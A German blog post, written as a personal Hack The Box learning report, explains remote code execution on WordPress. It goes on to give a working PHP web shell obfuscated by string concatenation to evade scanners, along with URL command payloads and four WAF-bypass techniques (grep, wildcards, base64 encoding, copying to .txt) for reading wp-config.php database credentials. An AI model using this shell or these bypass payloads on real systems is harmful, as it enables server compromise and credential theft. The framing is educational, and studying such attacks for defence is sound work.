Remote Code Execution (RCE) – Ein Erfahrungsbericht & Deep Dive

Remote Code Execution (RCE): Die unsichere Funktion system($_GET['cmd']) auf einem Monitor, die Angreifern Remote Code Execution ermöglicht

Als ich das Modul bei Hack The Box durchgearbeitet hatte, ging es mir wie vielen anderen: Ich stand plötzlich vor einer Wand und wusste nicht weiter. In den Foren trifft man oft auf eine Mauer aus Schweigen oder Rätseln. Sei es, weil die Leute selbst lange gebraucht haben und das Wissen nicht „verschenken“ wollen, oder wegen einer gewissen elitären Haltung. Man bekommt einen vagen Hinweis, soll noch ein paar Tage investieren, und wenn man es dann immer noch nicht kapiert, gibt es vielleicht das nächste Rätsel.

Ich habe mich entschieden, es anders anzugehen. Ich habe mich tief ins Thema eingegraben und schnell verstanden, was im Kurs oft fehlt. HTB liefert zwar viel Content, aber oft so komprimiert, dass der entscheidende Funke nicht überspringt. Deshalb möchte ich hier den Kern von RCE erklären, die Theorie ergänzen und mit aktuellen Erkenntnissen aus der Praxis anreichern.

Was ist Remote Code Execution (RCE) eigentlich?

Remote Code Execution ist im Grunde eine der gravierendsten Schwachstellen in Serversystemen. Ein Angreifer kann dabei Schadcode einschleusen, der ihm später erlaubt, Befehle auf dem Server auszuführen – als säße er direkt am Terminal. Das reicht vom Auslesen sensibler Daten bis hin zur kompletten Übernahme des Systems für Botnets oder Krypto-Mining.

Code Injection vs. Command Injection

In der Praxis – und auch in den HTB-Laboren – wird oft alles unter RCE zusammengefasst. Wenn man sich aber tiefer damit beschäftigt (wie z.B. in den Analysen von Patchstack oder SolidWP), lohnt es sich, zwei Varianten zu unterscheiden, auch wenn das Ergebnis oft ähnlich verheerend ist:

Remote Code Execution (RCE) HTB
  1. Remote Code Injection: Hierbei wird PHP-Code direkt im Kontext der Anwendung ausgeführt. Das passiert oft durch extrem unsichere Funktionen wie eval(). Wenn ein Entwickler Nutzereingaben ungeprüft in eval() steckt, kann der Angreifer eigenen PHP-Code ausführen, Datenbankabfragen manipulieren oder PHP-interne Funktionen nutzen.
  2. Remote Command Injection: Das ist das Szenario, das wir hier hauptsächlich betrachten. Der Angreifer bricht aus der PHP-Umgebung aus und führt Befehle direkt auf dem Betriebssystem (OS) aus. Funktionen wie system(), exec(), shell_exec() oder passthru() sind hier die üblichen Verdächtigen. Wenn man hier Nutzereingaben einschleusen kann, hat man eine Shell auf dem Server.

Wie gelangt Schadcode auf den Server?

In der Praxis landet solcher Code meist über drei Hauptwege auf einem Server.

Das unsichere Upload-Formular (Unrestricted File Upload)

Ein sehr häufiges Einfallstor sind Verwundbarkeiten in Plugins. Stell dir vor, du installierst eine Galerie oder ein Kontaktformular, wo Nutzer Bilder hochladen können. Eigentlich sollte das Plugin prüfen, ob es wirklich ein Bild (.jpg, .png) ist. Vergisst der Entwickler diese Prüfung (oder prüft nur oberflächlich den MIME-Type im Browser), lädt ein Angreifer statt eines Fotos einfach eine Datei namens shell.php hoch, die den Code system($_GET['cmd']) enthält. Der Server speichert das gutgläubig unter /wp-content/uploads/shell.php. Ruft der Angreifer diese Adresse auf, hat er die Kontrolle. Ein Admin-Passwort braucht er dafür gar nicht.

Der Weg über den Admin-Zugang

Ein weiterer Weg führt über Brute Force oder geleakte Passwörter. Ein Angreifer nutzt Tools wie wpscan oder hydra, um das Admin-Passwort zu erraten, oder findet es in einem Datenbank-Leak, weil das Passwort mehrfach verwendet wurde. Sobald er im Admin-Bereich ist, könnte er eigentlich aufhören. Aber warum lädt er trotzdem eine Shell hoch? Wegen der Persistenz und Bequemlichkeit. Selbst wenn du später das Passwort änderst, liegt die Backdoor (z. B. getarnt als 404.php im Theme-Ordner) schon auf dem Server. Außerdem ist das WordPress-Backend limitiert – über die Shell hat er Zugriff auf das Betriebssystem und kann sich im Netzwerk seitwärts bewegen (Lateral Movement).

Die Gefahr von „Nulled“ Software

Der dritte Klassiker sind „Nulled“ Themes und Plugins. Wer ein teures Premium-Theme auf einer Warez-Seite kostenlos herunterlädt, holt sich oft ein Trojanisches Pferd ins Haus. Hacker verstecken den Schadcode (<?php system...) tief in den Dateien solcher Downloads. Man installiert es selbst freiwillig, die Seite sieht schick aus, aber im Hintergrund ist die Hintertür bereits offen.

Nicht nur Plugins: Lücken im Core

Es sind aber nicht immer nur schlechte Plugins. Selbst der WordPress-Core ist nicht unfehlbar, auch wenn Lücken dort seltener sind. Ein Beispiel aus der jüngeren Vergangenheit (Ende 2023) ist CVE-2023-4634, analysiert von Patrowl.io. Hier gab es eine RCE-Möglichkeit in der Medienbibliothek, die allerdings eine spezifische Serverkonfiguration voraussetzte (das Vorhandensein eines bestimmten unetbootin Binaries auf dem Server). Durch geschickt benannte Dateien konnte ein Angreifer Systembefehle ausführen. Das zeigt: RCE ist komplex und hängt oft von einer Kette von Umständen ab.

Die Mechanik hinter dem Angriff

Bei Hack The Box wird meist das Szenario trainiert, bei dem wir bereits Zugriff haben und den Code editieren. Die Aufgabe besteht darin, system($_GET['cmd']) einzufügen und dann ?cmd=id an die URL anzuhängen. Das funktioniert, aber vielen ist nicht klar, was da eigentlich passiert. Das id ist nicht nur ein fixer Befehl.

Tatsächlich ist cmd (oder jeder andere Name, den wir wählen, wie x oder geheim) hier einfach eine Variable – ein GET-Parameter –, die unseren Befehl aus der URL entgegennimmt und über die PHP-Funktion system() direkt an das Linux-Betriebssystem weiterreicht. Es ist, als hätten wir eine direkte Kommandozeile im Browser.

Wollen wir den Inhalt des aktuellen Verzeichnisses sehen, nutzen wir ls. Wir übergeben das einfach nach dem Gleichheitszeichen und der Server führt es dort aus, wo unsere manipulierte Datei liegt.

Ein Beispiel: Mit dem Aufruf http://<target>/wp-content/themes/twentyseventeen/404.php?cmd=ls sehen wir im Browser alle Dateien im Ordner. Entdecken wir dort eine password.txt, ändern wir den Aufruf zu http://<target>/wp-content/themes/twentyseventeen/404.php?cmd=cat password.txt und sehen den Inhalt.

Aus dem Labor in die Praxis: Meine Hürden

Ich wollte das Ganze nicht nur in der Laborumgebung, sondern an meinen eigenen Test-Seiten ausprobieren. Dabei stieß ich auf Probleme, die in der Theorie oft nicht erwähnt werden, und musste Wege finden, sie zu umgehen.

Hürde 1: Der Upload-Filter

Zuerst konnte ich die Datei mit dem offensichtlichen Code system($_GET['cmd']) nicht direkt per FTP hochladen. FileZilla meldete fälschlicherweise, die Datei existiere bereits. Wahrscheinlich blockierte hier eine WAF (Web Application Firewall) oder ein serverseitiger Virenscanner, weil das Schlüsselwort „system“ im Code sofort Alarm auslöste.

Ich habe das mit einem kleinen Trick umgangen, indem ich den gefährlichen String zerlegt und erst zur Laufzeit wieder zusammengesetzt habe (String Concatenation):

PHP

<?php
$a = 'sys';
$b = 'tem';
$command = $a . $b; // Ergibt 'system' erst bei Ausführung
$command($_GET['cmd']);
?>

Damit ging der Upload problemlos durch, da der statische Scanner das Wort „system“ nicht mehr finden konnte.

Remote Code Execution: WAF Bypass bei RCE-Attacken

Hürde 2: Die Web Application Firewall (WAF)

Doch beim Testen kam das nächste Hindernis. Ein einfaches [hier-meine-webseite].de/shell.php?cmd=ls funktionierte, aber beim Versuch, die kritische Konfigurationsdatei mit [hier-meine-webseite].de/shell.php?cmd=cat wp-config.php zu lesen, bekam ich einen „503 Service Unavailable“-Fehler.

Das ist ein klassisches Verhalten einer WAF (wie ModSecurity oder Wordfence). Sie analysiert eingehende Anfragen. Wenn sie sieht, dass jemand versucht, auf sensible Dateien wie wp-config.php oder /etc/passwd zuzugreifen, oder verdächtige Befehle wie cat in Parametern nutzt, blockiert sie die Anfrage, bevor sie den PHP-Interpreter erreicht.

WAF Bypass – Wie wir die Firewall austricksen

Um das zu umgehen, müssen wir die Anfrage so umformulieren, dass der Server (Linux) sie versteht, die Firewall aber nicht.

Methode 1: „grep“ statt „cat“

Statt die Datei beim Namen zu nennen, suchen wir einfach nach ihrem Inhalt. Da wir wissen, dass Datenbank-Passwörter in WordPress oft mit „DB_“ definiert werden, nutzen wir grep.

Die URL sieht dann so aus: [hier-meine-webseite].de/sheII.php?cmd=grep+-r+"DB_"+.. Das bedeutet: „Suche rekursiv (-r) nach dem String „DB_“ im aktuellen Verzeichnis (.)“. Das umgeht den Filter, weil wir den verdächtigen Dateinamen wp-config.php nie explizit erwähnen.

Methode 2: Wildcards nutzen

Die WAF sucht in ihrer Blacklist exakt nach „wp-config.php“. Wenn wir aber cat wp-conf* schreiben, versteht die Linux-Shell das (und findet die Datei, die mit „wp-conf“ beginnt), aber der Filter greift oft nicht, weil er Wildcards nicht interpretiert. Die URL wäre: [hier-meine-webseite].de/sheII.php?cmd=cat+wp-conf*.

Methode 3: Base64-Encoding (Der Königsweg)

Dies ist die beste Methode, besonders für PHP-Dateien, und sie löst gleich zwei Probleme: WAFs und Darstellungsprobleme im Browser. Wir befehlen dem Server, den Inhalt der Datei zuerst in Base64 zu kodieren, bevor er ihn an uns sendet. Eine WAF kann den kodierten Inhalt im Rückkanal oft nicht prüfen.

Der Befehl lautet base64 wp-config.php (oder mit Wildcard base64 wp-conf*). Die URL dazu: [hier-meine-webseite].de/sheII.php?cmd=base64+wp-conf*.

Als Ergebnis erhält man einen langen String aus Buchstaben und Zahlen. Diesen kopiert man einfach in einen Online-Decoder oder nutzt das eigene Terminal: echo "DER_LANGE_STRING" | base64 -d. Sollte es im Terminal zu Fehlern kommen, liegt das oft an unsichtbaren Formatierungen beim Kopieren aus dem Browser. Hier hilft der Flag -i (ignore garbage): echo "DER_LANGE_STRING" | base64 -d -i.

Methode 4: Kopieren und Umbenennen

Wer es ganz simpel mag, kann die Datei auch einfach kopieren und die Endung ändern. Mit cp wp-config.php pass.txt erstellen wir eine Textkopie, die wir dann ganz normal über http://[hier-meine-webseite].de/.../pass.txt im Browser öffnen können, ohne dass eine WAF beim Zugriff auf eine .txt Datei Verdacht schöpft.

Das Ergebnis sichtbar machen

Wichtig ist am Ende: Wenn ihr Methoden nutzt, die den Code direkt ausgeben (wie bei cat oder cp), zeigt der Browser den PHP-Code oft nicht an. Das liegt daran, dass die Datei mit <?php beginnt und der Browser den Inhalt fälschlicherweise als HTML-Tag interpretiert und ausblendet.

Hier gibt es zwei einfache Lösungen: Entweder ihr nutzt im Browser die Funktion „Seitenquelltext anzeigen“ (View Page Source), oder ihr fordert die Seite direkt über das Terminal mit curl an. So seht ihr den rohen Output, genau so, wie der Server ihn sendet.